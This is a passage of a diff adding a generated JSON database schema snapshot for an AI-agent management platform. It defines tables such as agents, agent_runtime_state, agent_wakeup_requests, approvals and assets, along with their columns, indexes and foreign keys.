+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_agent_idx": {
+          "name": "agent_memberships_agent_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_company_user_agent_uq": {
+          "name": "agent_memberships_company_user_agent_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_memberships_company_id_companies_id_fk": {
+          "name": "agent_memberships_company_id_companies_id_fk",
+          "tableFrom": "agent_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "agent_memberships_agent_id_agents_id_fk": {
+          "name": "agent_memberships_agent_id_agents_id_fk",
+          "tableFrom": "agent_memberships",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_runtime_state": {
+      "name": "agent_runtime_state",
+      "schema": "",
+      "columns": {
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "session_id": {
+          "name": "session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "state_json": {
+          "name": "state_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_run_id": {
+          "name": "last_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_run_status": {
+          "name": "last_run_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "total_input_tokens": {
+          "name": "total_input_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_output_tokens": {
+          "name": "total_output_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_cached_input_tokens": {
+          "name": "total_cached_input_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_cost_cents": {
+          "name": "total_cost_cents",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_runtime_state_company_agent_idx": {
+          "name": "agent_runtime_state_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_runtime_state_company_updated_idx": {
+          "name": "agent_runtime_state_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_runtime_state_agent_id_agents_id_fk": {
+          "name": "agent_runtime_state_agent_id_agents_id_fk",
+          "tableFrom": "agent_runtime_state",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_runtime_state_company_id_companies_id_fk": {
+          "name": "agent_runtime_state_company_id_companies_id_fk",
+          "tableFrom": "agent_runtime_state",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_task_sessions": {
+      "name": "agent_task_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "task_key": {
+          "name": "task_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "session_params_json": {
+          "name": "session_params_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_display_id": {
+          "name": "session_display_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_run_id": {
+          "name": "last_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_task_sessions_company_agent_adapter_task_uniq": {
+          "name": "agent_task_sessions_company_agent_adapter_task_uniq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "adapter_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "task_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_task_sessions_company_agent_updated_idx": {
+          "name": "agent_task_sessions_company_agent_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_task_sessions_company_task_updated_idx": {
+          "name": "agent_task_sessions_company_task_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "task_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_task_sessions_company_id_companies_id_fk": {
+          "name": "agent_task_sessions_company_id_companies_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_task_sessions_agent_id_agents_id_fk": {
+          "name": "agent_task_sessions_agent_id_agents_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_task_sessions_last_run_id_heartbeat_runs_id_fk": {
+          "name": "agent_task_sessions_last_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "last_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_wakeup_requests": {
+      "name": "agent_wakeup_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger_detail": {
+          "name": "trigger_detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "coalesced_count": {
+          "name": "coalesced_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "requested_by_actor_type": {
+          "name": "requested_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_actor_id": {
+          "name": "requested_by_actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_at": {
+          "name": "requested_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "claimed_at": {
+          "name": "claimed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_wakeup_requests_company_agent_status_idx": {
+          "name": "agent_wakeup_requests_company_agent_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_company_requested_idx": {
+          "name": "agent_wakeup_requests_company_requested_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requested_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_agent_requested_idx": {
+          "name": "agent_wakeup_requests_agent_requested_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requested_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_review_path_recovery_idempotency_uq": {
+          "name": "agent_wakeup_requests_review_path_recovery_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"agent_wakeup_requests\".\"idempotency_key\" LIKE 'issue_review_path_lost:%' AND \"agent_wakeup_requests\".\"status\" <> 'skipped'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_company_payload_issue_idx": {
+          "name": "agent_wakeup_requests_company_payload_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"payload\" ->> 'issueId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_wakeup_requests_company_id_companies_id_fk": {
+          "name": "agent_wakeup_requests_company_id_companies_id_fk",
+          "tableFrom": "agent_wakeup_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_wakeup_requests_agent_id_agents_id_fk": {
+          "name": "agent_wakeup_requests_agent_id_agents_id_fk",
+          "tableFrom": "agent_wakeup_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agents": {
+      "name": "agents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'general'"
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon": {
+          "name": "icon",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'idle'"
+        },
+        "reports_to": {
+          "name": "reports_to",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "capabilities": {
+          "name": "capabilities",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'process'"
+        },
+        "adapter_config": {
+          "name": "adapter_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "runtime_config": {
+          "name": "runtime_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "default_environment_id": {
+          "name": "default_environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "budget_monthly_cents": {
+          "name": "budget_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "spent_monthly_cents": {
+          "name": "spent_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_reason": {
+          "name": "error_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "permissions": {
+          "name": "permissions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_heartbeat_at": {
+          "name": "last_heartbeat_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agents_company_status_idx": {
+          "name": "agents_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agents_company_reports_to_idx": {
+          "name": "agents_company_reports_to_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "reports_to",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agents_company_default_environment_idx": {
+          "name": "agents_company_default_environment_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "default_environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agents_company_id_companies_id_fk": {
+          "name": "agents_company_id_companies_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agents_reports_to_agents_id_fk": {
+          "name": "agents_reports_to_agents_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "reports_to"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agents_default_environment_id_environments_id_fk": {
+          "name": "agents_default_environment_id_environments_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "default_environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.approval_comments": {
+      "name": "approval_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "approval_comments_company_idx": {
+          "name": "approval_comments_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "approval_comments_approval_idx": {
+          "name": "approval_comments_approval_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "approval_comments_approval_created_idx": {
+          "name": "approval_comments_approval_created_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "approval_comments_company_id_companies_id_fk": {
+          "name": "approval_comments_company_id_companies_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approval_comments_approval_id_approvals_id_fk": {
+          "name": "approval_comments_approval_id_approvals_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approval_comments_author_agent_id_agents_id_fk": {
+          "name": "approval_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.approvals": {
+      "name": "approvals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_by_agent_id": {
+          "name": "requested_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_user_id": {
+          "name": "requested_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "decision_note": {
+          "name": "decision_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "approvals_company_status_type_idx": {
+          "name": "approvals_company_status_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "approvals_company_id_companies_id_fk": {
+          "name": "approvals_company_id_companies_id_fk",
+          "tableFrom": "approvals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approvals_requested_by_agent_id_agents_id_fk": {
+          "name": "approvals_requested_by_agent_id_agents_id_fk",
+          "tableFrom": "approvals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "requested_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.assets": {
+      "name": "assets",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "object_key": {
+          "name": "object_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "content_type": {
+          "name": "content_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "byte_size": {
+          "name": "byte_size",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "sha256": {
+          "name": "sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "original_filename": {
+          "name": "original_filename",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "assets_company_created_idx": {
+          "name": "assets_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "assets_company_provider_idx": {
+          "name": "assets_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "assets_company_object_key_uq": {
+          "name": "assets_company_object_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
